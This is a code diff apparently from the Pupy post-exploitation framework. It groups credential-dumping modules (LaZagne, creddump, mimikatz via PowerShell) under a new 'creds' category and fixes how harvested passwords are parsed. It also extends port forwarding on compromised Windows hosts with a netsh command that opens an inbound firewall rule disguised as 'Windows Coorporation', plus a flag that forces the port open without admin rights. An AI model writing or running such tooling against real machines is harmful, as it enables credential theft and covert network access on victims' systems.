diff --git a/pupy/modules/creddump.py b/pupy/modules/creddump.py index a2626c23..17fac04d 100644 --- a/pupy/modules/creddump.py +++ b/pupy/modules/creddump.py @@ -34,7 +34,7 @@ from modules.lib.windows.creddump.win32.lsasecrets import get_file_secrets __class_name__="CredDump" -@config(cat="gather", compatibilities=["windows"], tags=['creds', +@config(cat="creds", compatibilities=["windows"], tags=['creds', 'credentials', 'password', 'gather', 'hives']) class CredDump(PupyModule): diff --git a/pupy/modules/creds.py b/pupy/modules/creds.py index aabaaee4..3e59d4e8 100644 --- a/pupy/modules/creds.py +++ b/pupy/modules/creds.py @@ -5,7 +5,7 @@ import os __class_name__="Creds" ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..")) -# @config(category="admin") +@config(category="creds") class Creds(PupyModule): """ database containing all passwords found """ diff --git a/pupy/modules/lazagne.py b/pupy/modules/lazagne.py index 5c85b722..6760054b 100644 --- a/pupy/modules/lazagne.py +++ b/pupy/modules/lazagne.py @@ -9,7 +9,7 @@ import os.path __class_name__="LaZagne" -@config(cat="exploit") +@config(cat="creds") class LaZagne(PupyModule): """ execute LaZagne (Windows / Linux) @@ -72,6 +72,8 @@ class LaZagne(PupyModule): toSave = False ishashes = False cpt = 0 + user = "" + category = "" for line in output.split('\n'): if not toSave: if "##########" in line: @@ -80,7 +82,7 @@ class LaZagne(PupyModule): if "---------" in line: category='%s' % line.replace('-', '').strip() - if " found !!!" in line: + if " found !!!" in line and "not found !!!" not in line: toSave = True cred = {} else: @@ -92,8 +94,10 @@ class LaZagne(PupyModule): ishashes = False if cred: cred['Tool']="LaZagne" - cred['System user'] = user - cred['Category'] = category + if user: + cred['System user'] = user + if category: + cred['Category'] = category creds.append(cred) else: # not store hashes => creddump already does it diff --git a/pupy/modules/mimikatz_powershell.py b/pupy/modules/mimikatz_powershell.py index 05b71e0e..708c83e5 100644 --- a/pupy/modules/mimikatz_powershell.py +++ b/pupy/modules/mimikatz_powershell.py @@ -8,7 +8,7 @@ from pupylib.utils.credentials import Credentials __class_name__="Mimikatz_Powershell" ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..")) -@config(compat="windows", category="admin") +@config(compat="windows", category="creds") class Mimikatz_Powershell(PupyModule): """ execute mimikatz using powershell diff --git a/pupy/modules/portfwd.py b/pupy/modules/portfwd.py index ff7db51d..cdb367b1 100644 --- a/pupy/modules/portfwd.py +++ b/pupy/modules/portfwd.py @@ -11,6 +11,7 @@ import logging import struct import traceback import time +import subprocess __class_name__="PortFwdModule" @@ -125,9 +126,10 @@ class PortFwdModule(PupyModule): self.current_id=1 def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog='socks5proxy', description=self.__doc__) + self.arg_parser = PupyArgumentParser(prog='portfwd', description=self.__doc__) self.arg_parser.add_argument('-L', '--local', help="Local port forward") self.arg_parser.add_argument('-R', '--remote', help="Remote port forward") + self.arg_parser.add_argument('-F', '--force', action='store_true', help="Try to open a port without admin rights (it will prompt a pop up to the end user)") self.arg_parser.add_argument('-k', '--kill', type=int, metavar="", help="stop a port forward") def stop_daemon(self): @@ -182,6 +184,21 @@ class PortFwdModule(PupyModule): except Exception: self.error("ports must be integers") return + + if "Windows" in self.client.desc["platform"]: + self.client.load_package("psutil") + self.client.load_package("pupwinutils.processes") + if self.client.conn.modules['pupwinutils.processes'].isUserAdmin() == True: + # create new firewall rule + cmd = 'netsh advfirewall firewall add rule name="Windows Coorporation" dir=in action=allow protocol=TCP localport=%s' % str(remote_port) + output = self.client.conn.modules.subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT, stdin=subprocess.PIPE) + if 'ok' in output.lower(): + self.success("Firewall rule created successfully") + else: + if not args.force: + self.error("Firewall modification needs admin rights. Try using -F to force to open a port (it will prompt a pop up to the end user)") + return + self.client.load_package("pupyutils.portfwd") remote_server = self.client.conn.modules["pupyutils.portfwd"].ThreadedRemotePortFwdServer((remote_addr, remote_port), callback=get_remote_port_fwd_cb((remote_addr, remote_port),(local_addr, local_port))) self.portfwd_dic[self.current_id]=remote_server @@ -191,6 +208,19 @@ class PortFwdModule(PupyModule): elif args.kill: if args.kill in self.portfwd_dic: + + if "Windows" in self.client.desc["platform"]: + try: + # maybe there is a cleaner way to get the port + tmp = str(self.portfwd_dic[args.kill]).split() + port = int(tmp[len(tmp)-1].replace(')', '').replace('>', '')) + cmd = 'netsh advfirewall firewall delete rule name="Windows Coorporation" protocol=tcp localport=%s' % str(port) + output = self.client.conn.modules.subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT, stdin=subprocess.PIPE) + if 'ok' in output.lower(): + self.success("Firewall rule deleted successfully") + except: + self.error("Cannot remove the firewall rule") + desc=str(self.portfwd_dic[args.kill]) self.portfwd_dic[args.kill].shutdown() self.portfwd_dic[args.kill].server_close() diff --git a/pupy/packages/windows/all/pupwinutils/processes.py b/pupy/packages/windows/all/pupwinutils/processes.py index 515a3768..57d7108b 100644 --- a/pupy/packages/windows/all/pupwinutils/processes.py +++ b/pupy/packages/windows/all/pupwinutils/processes.py @@ -83,6 +83,12 @@ def get_current_ppid(): dic = {'Parent Name': pp.name(), 'PPID': pp.pid} return dic +def isUserAdmin(): + if windll.Shell32.IsUserAnAdmin(): + return True + else: + return False + if __name__ == '__main__': for dic in enum_processes(): print dic diff --git a/pupy/pupy.conf b/pupy/pupy.conf index e3fee8b4..7459aa14 100644 --- a/pupy/pupy.conf +++ b/pupy/pupy.conf @@ -35,7 +35,6 @@ ps = ps migrate = migrate shell=interactive_shell kill = process_kill -killme = pyexec -c 'import os;os.kill(os.getpid(),9)' getpid = getpid getppid = getppid pwd = pyexec -c 'import os;print os.getcwd()' diff --git a/pupy/pupylib/conf.py b/pupy/pupylib/conf.py index 1fb55732..1c9b343d 100644 --- a/pupy/pupylib/conf.py +++ b/pupy/pupylib/conf.py @@ -4,5 +4,5 @@ # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms #authorized categories -categories=["general", "manage", "admin", "exploit", "privesc", "network", "gather", "troll", "misc"] +categories=["general", "manage", "admin", "creds", "exploit", "privesc", "network", "gather", "troll", "misc"]